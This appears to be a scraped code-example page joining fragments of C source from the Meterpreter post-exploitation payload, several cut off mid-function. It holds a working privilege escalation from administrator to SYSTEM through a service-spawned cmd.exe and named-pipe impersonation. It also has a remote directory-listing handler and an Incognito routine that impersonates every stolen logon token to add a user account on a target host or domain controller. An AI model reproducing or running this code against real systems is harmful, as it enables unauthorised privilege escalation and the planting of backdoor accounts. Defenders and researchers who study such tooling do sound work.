				for (command = pExtension->start; command != pExtension->end; command = command->next) {
					packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
				}
			}
		}

	} while (0);

	if (response) {
		packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
		PACKET_TRANSMIT(remote, response, NULL);
	}

	return (res);
}
Пример #28
0
/*
 * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local
 * system which then connects to our named pipe and we impersonate this client. This can be done by an
 * Administrator without the need for SeDebugPrivilege.  Works on 2000, XP, 2003 and 2008 for all local
 * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC
 * first. Does not work on NT4.
 */
DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
{
	DWORD dwResult              = ERROR_SUCCESS;
	char * cpServiceName        = NULL;
	THREAD * pThread            = NULL;
	HANDLE hSem                 = NULL;
	char cServiceArgs[MAX_PATH] = {0};
	char cServicePipe[MAX_PATH] = {0};
	OSVERSIONINFO os            = {0};

	do {
		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

		if (!GetVersionEx(&os)) {
			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed")
		}

		// filter out Windows NT4
		if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
			SetLastError(ERROR_ACCESS_DENIED);
			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
		}

		cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
		if (!cpServiceName) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments",
				ERROR_BAD_ARGUMENTS);
		}

		_snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH,
			"\\\\.\\pipe\\%s", cpServiceName);

		_snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH,
			"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);

		hSem = CreateSemaphore(NULL, 0, 1, NULL);
		pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
		if (!pThread) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed",
				ERROR_INVALID_HANDLE);
		}

		if (!thread_run(pThread)) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed",
				ERROR_ACCESS_DENIED);
		}

		//wait for the thread to create the pipe(if it times out terminate)
                if (hSem) {
		        if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
			        BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
					ERROR_ACCESS_DENIED);
			}
                } else {
                        Sleep(500);
		}

		// start the elevator service (if it doesnt start first time we need to create it and then start it).
		if (service_start(cpServiceName) != ERROR_SUCCESS) {
			dprintf("[ELEVATE] service starting failed, attempting to create");
			if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
				BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
			}
			dprintf("[ELEVATE] creation of service succeeded, attempting to start");
			// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
			// a valid service and it will never signal to the service manager that is is a running service.
			service_start(cpServiceName);
		}

		// signal our thread to terminate if it is still running
		thread_sigterm(pThread);

		// and wait for it to terminate...
		thread_join(pThread);

		// get the exit code for our pthread
		dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
		if (!GetExitCodeThread(pThread->handle, &dwResult)) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
				ERROR_INVALID_HANDLE);
		}
		dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);

	} while (0);
Пример #29
0
/*
 * Gets the contents of a given directory path and returns the list of file
 * names to the requestor.
 *
 * TLVs:
 *
 * req: TLV_TYPE_DIRECTORY_PATH - The directory that should be listed
 */
DWORD request_fs_ls(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	LPCSTR directory;
	DWORD result = ERROR_SUCCESS;
	LPSTR expanded = NULL, tempFile = NULL;
	DWORD tempFileSize = 0;
	LPSTR baseDirectory = NULL;
	struct meterp_stat buf;

	directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);

	// Enumerate the directory if one was provided
	if (!directory)
		result = ERROR_INVALID_PARAMETER;
	else
	{
#ifdef _WIN32
		WIN32_FIND_DATA data;
		HANDLE ctx = NULL;
#else
		DIR *ctx;
		struct dirent *data;
#endif
		BOOLEAN freeDirectory = FALSE;
		LPSTR tempDirectory = (LPSTR)directory;

#ifdef _WIN32
		// If there is not wildcard mask on the directory, create a version of the
		// directory with a mask appended
		if (!strrchr(directory, '*'))
		{
			if (!(tempDirectory = (LPSTR)malloc(strlen(directory) + 3)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				goto out;
			}

			sprintf(tempDirectory, "%s\\*", directory);	

			// Dupe!
			if (!(baseDirectory = _strdup(directory)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				goto out;
			}
		}
		// Otherwise, if it does have an asterisk, we need to scan back and find
		// the base directory.  If there is no slash, it means we're listing the
		// cwd.
		else
		{
			PCHAR slash = strrchr(directory, '\\');

			if (slash)
			{
				*slash = 0;

				if (!(baseDirectory = _strdup(directory)))
				{
					result = ERROR_NOT_ENOUGH_MEMORY;
					goto out;
				}

				*slash = '\\';
			}
		}

		// Expand the path
		if (!(expanded = fs_expand_path(tempDirectory)))
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			goto out;
		}

		// Start the find operation
		ctx = FindFirstFile(expanded, &data);

 #define DF_NAME data.cFileName
#else
		expanded = 0;
		ctx = opendir(tempDirectory);
		if(ctx == NULL)
		{
		  result = errno;
		  goto out;
		}
		data = readdir(ctx);
	      
 #define DF_NAME data->d_name

#endif

		do
		{
			DWORD fullSize = (baseDirectory ? strlen(baseDirectory) : 0) + strlen(DF_NAME) + 2;

			// No context?  Sucktastic
			if (ctx == INVALID_HANDLE_VALUE)
			{
				result = GetLastError();
				break;
			}

			// Allocate temporary storage to stat the file
			if ((!tempFile) ||
			    (tempFileSize < fullSize))
			{
				if (tempFile)
					free(tempFile);

				// No memory means we suck a lot like spoon's mom
				if (!(tempFile = (LPSTR)malloc(fullSize)))
				{
					result = ERROR_NOT_ENOUGH_MEMORY;
					break;
				}

				// Update the tempFileSize so that we don't allocate if we don't
				// need to like a true efficient ninja
				tempFileSize = fullSize;
			}

			// Build the full path
			if (baseDirectory)
				sprintf(tempFile, "%s\\%s", baseDirectory, DF_NAME);
			else
				sprintf(tempFile, "%s", DF_NAME);

			// Add the file name to the response
			packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, 
					DF_NAME);
			// Add the full path
			packet_add_tlv_string(response, TLV_TYPE_FILE_PATH,
					tempFile);

			// Stat the file to get more information about it.
			if (fs_stat(tempFile, &buf) >= 0)
				packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,
						sizeof(buf));

#ifdef _WIN32
		} while (FindNextFile(ctx, &data));
#else
	        } while (data = readdir(ctx));
#endif
#undef DF_NAME

		// Clean up resources
		if (freeDirectory)
			free(tempDirectory);
		if (ctx)
#ifdef _WIN32
			FindClose(ctx);
#else
			closedir(ctx);
#endif
	}
DWORD request_incognito_add_user(Remote *remote, Packet *packet)
{
	USER_INFO_1 ui;
   	DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
   	NET_API_STATUS nStatus;
	SavedToken *token_list = NULL;
	HANDLE saved_token;
	char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
	wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE];
	
	// Read arguments
	Packet *response = packet_create_response(packet);
	dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
	username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
	password = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);

	mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
	mbstowcs(username_u, username, strlen(username)+1);
	mbstowcs(password_u, password, strlen(password)+1);

   	ui.usri1_name = username_u;
   	ui.usri1_password = password_u;
   	ui.usri1_priv = USER_PRIV_USER;
   	ui.usri1_home_dir = NULL;
   	ui.usri1_comment = NULL;
   	ui.usri1_flags = UF_SCRIPT;
   	ui.usri1_script_path = NULL;

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens);
	if (!token_list)
	{
		sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
		goto cleanup;
	}

	sprintf(return_value, "[*] Attempting to add user %s to host %s\n", username, dc_netbios_name);

	// Attempt to add user with every token
	for (i=0;i<num_tokens;i++)
	if (token_list[i].token)
	{
		// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
		if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
			continue;

		ImpersonateLoggedOnUser(token_list[i].token);
		nStatus = NetUserAdd(dc_netbios_name_u, 1, (LPBYTE)&ui, &dwError);
		RevertToSelf();

   		switch (nStatus)
   		{
			case ERROR_ACCESS_DENIED:
			case ERROR_LOGON_FAILURE: // unknown username or bad password
			case ERROR_INVALID_PASSWORD:
				break;
			case NERR_Success:
				strncat(return_value, "[+] Successfully added user\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_InvalidComputer:
				strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_NotPrimary:
				strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_GroupExists:
				strncat(return_value, "[-] Group already exists\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_UserExists:
				strncat(return_value, "[-] User already exists\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_PasswordTooShort:
				strncat(return_value,"[-] Password does not meet complexity requirements\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			default:
				sprintf(temp, "[-] Unknown error: %d\n", nStatus);
				strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
		}
	}

	strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);

cleanup:
	for (i=0;i<num_tokens;i++)
		CloseHandle(token_list[i].token);
	free(token_list);

	packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
	packet_transmit_response(ERROR_SUCCESS, remote, response);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
		ImpersonateLoggedOnUser(saved_token);

	return ERROR_SUCCESS;
}